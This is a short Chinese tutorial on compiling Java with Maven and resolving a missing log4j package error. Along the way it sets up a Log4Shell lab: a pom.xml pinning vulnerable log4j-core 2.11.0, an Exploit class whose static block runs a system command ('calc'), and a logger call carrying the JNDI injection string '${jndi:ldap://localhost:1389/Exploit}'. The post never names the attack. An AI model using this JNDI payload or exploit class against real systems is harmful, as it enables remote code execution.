Maven编译java及解决程序包org.apache.logging.log4j不存在问题

1、首先新建一个文件夹，比如hello

Hello里新建pom.xml

xml 复制代码

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
    <modelVersion>4.0.0</modelVersion>
    <groupId>org.springframework</groupId>
    <artifactId>gs-maven</artifactId>
    <packaging>jar</packaging>
    <version>0.1.0</version>

    <dependencies>
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-core</artifactId>
            <version>2.11.0</version>
        </dependency>
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-api</artifactId>
            <version>2.11.0</version>
        </dependency>
        <dependency> 
            <groupId>log4j</groupId>
            <artifactId>log4j</artifactId>
            <version>1.2.12</version>
        </dependency>
    </dependencies>
    <build>
        <plugins>
            <plugin>
                <groupId>org.apache.maven.plugins</groupId>
                <artifactId>maven-shade-plugin</artifactId>
                <version>2.1</version>
                <executions>
                    <execution>
                        <phase>package</phase>
                        <goals>
                            <goal>shade</goal>
                        </goals>
                        <configuration>
                            <transformers>
                                <transformer
                                    implementation="org.apache.maven.plugins.shade.resource.ManifestResourceTransformer">
                                    <mainClass>hello.LogTest</mainClass>
                                </transformer>
                            </transformers>
                        </configuration>
                    </execution>
                </executions> 
            </plugin>
        </plugins>
    </build>
</project>

注意上面dependencies部分用于解决程序包org.apache.logging.log4j不存在问题，即

Maven编译java及解决程序包org.apache.logging.log4j不存在问题

和文件夹src\main\java

java里新建Exploit.java和LogTest.java

Exploit.java

java 复制代码

class Exploit{
    static {
        System.err.println("Pwned");
        try {
            String cmds = "calc";
            Runtime.getRuntime().exec(cmds);
        } catch ( Exception e ) {
            e.printStackTrace();
        }
    }
}

LogTest.java

java 复制代码

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
class LogTest {
    public static final Logger logger = LogManager.getLogger();
    public static void main(String[] args) {
        logger.error("${jndi:ldap://localhost:1389/Exploit}");
    }
}

2、然后使用meve compile编译就行

生成的class在target里

另外值得注意的是编辑xml不要用记事本，会有缩进问题，建议使用vscode编辑